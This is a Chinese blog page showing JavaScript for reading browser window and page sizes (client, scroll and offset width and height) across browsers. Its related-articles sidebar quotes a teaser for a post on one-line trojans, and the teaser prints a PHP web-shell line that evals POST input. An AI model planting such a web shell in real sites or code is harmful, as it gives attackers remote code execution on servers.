在不同浏览器都实用的各窗口大小获取方法

// 浏览器窗口
var w= document.documentElement.clientWidth
      || document.body.clientWidth;
var h= document.documentElement.clientHeight
      || document.body.clientHeight;

// 网页窗口
var w=document.documentElement.scrollWidth
   || document.body.scrollWidth;
var h=document.documentElement.scrollHeight
   || document.body.scrollHeight;

// 网页窗口(包括滚动条等边线,会随窗口的显示大小改变,offsetHeight = clientHeight + 滚动条 + 边框)
var w= document.documentElement.offsetWidth
    || document.body.offsetWidth;
var h= document.documentElement.offsetHeight
    || document.body.offsetHeight;

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏逸鹏说道

最短的各类一句话木马

菜刀readme.txt中附带一3个一句话: PHP: 1 <!--?php @eval($_POST['chopper']);?--> ASP: 1 &l...

3193
来自专栏deepcc

document.compatMode的CSS1compat

3387
来自专栏咸鱼不闲

checkbox 和 radio 和 select 的使用

这样凡是设置name属性为Country的将变成单选,name为city的是多选。那么如何获得被选中的元素呢?

774
来自专栏WindCoder

A Cold Dive into React Native (Tutorial for Beginners)

原文:A Cold Dive into React Native (Tutorial for Beginners)

601
来自专栏前端知识分享

第49天:封装自己的scrollTop

scrollTop和scrollLeft scrollTop 被卷去的头部 当滑动滚轮浏览网页的时候,网页隐藏在屏幕上方的距离 二、页面滚动效果事件 windo...

801
来自专栏前端知识分享

第53天:鼠标事件、event事件对象

-->鼠标事件 -->event事件对象 -->默认事件 -->键盘事件(keyCode) -->拖拽效果

732
来自专栏mySoul

事件冒泡和传播

这还要从遥远的荒诞说起,两家网景和ie,为了能争夺市场,互相使用相反的技术,当网景使用事件传播的时候,ie使用事件冒泡。(两个正好相反)这个时候w3c来了,为了...

1156
来自专栏河湾欢儿的专栏

文档宽高及窗口事件

onscroll:当滚动条滚动的时候触发 onresize:当窗口大小发生改变的时候触发

662
来自专栏PHP在线

哎呦不错哦!一组让人眼前一亮的404创意页面设计

原文出处: graphicdesignjunction 译文出处:优设网 WEARESPRY – 404 Error Page ? Cayenne –...

3234
来自专栏杨龙飞前端

scrollto 到指定位置

1724

扫码关注云+社区